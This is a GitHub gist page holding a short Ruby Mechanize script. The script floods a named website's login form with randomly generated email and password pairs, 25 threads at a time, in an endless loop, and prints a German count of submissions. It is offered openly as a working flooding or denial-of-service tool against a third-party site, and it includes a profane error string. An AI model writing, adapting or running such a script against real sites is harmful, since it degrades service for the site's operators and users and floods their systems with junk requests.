Skip to content

Instantly share code, notes, and snippets.

@kirel
Created May 23, 2009 14:56
Show Gist options
  • Select an option

  • Save kirel/116651 to your computer and use it in GitHub Desktop.

Select an option

Save kirel/116651 to your computer and use it in GitHub Desktop.
require 'mechanize'
def r; (0...10).map { (c = [('0'..'9'),('A'..'Z'),('a'..'z')].map {|r| r.to_a}.flatten)[rand(c.size)] }.join end
cnt = 0
doom = lambda do
Thread.new do
WWW::Mechanize.new.get('http://databa.be/') do |p|
p.form_with(:action => '/?login_attempt=1') do |f|
f.email = "#{r}@#{r}.com"
f.pass = r
end.click_button rescue "Fuck you!"
end
puts "#{cnt+=1} mal abgeschickt."
end
end
# packs of 25 requests
loop do
t = (1..25).map do |i|
doom.call
end.each { |t| t.join }
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment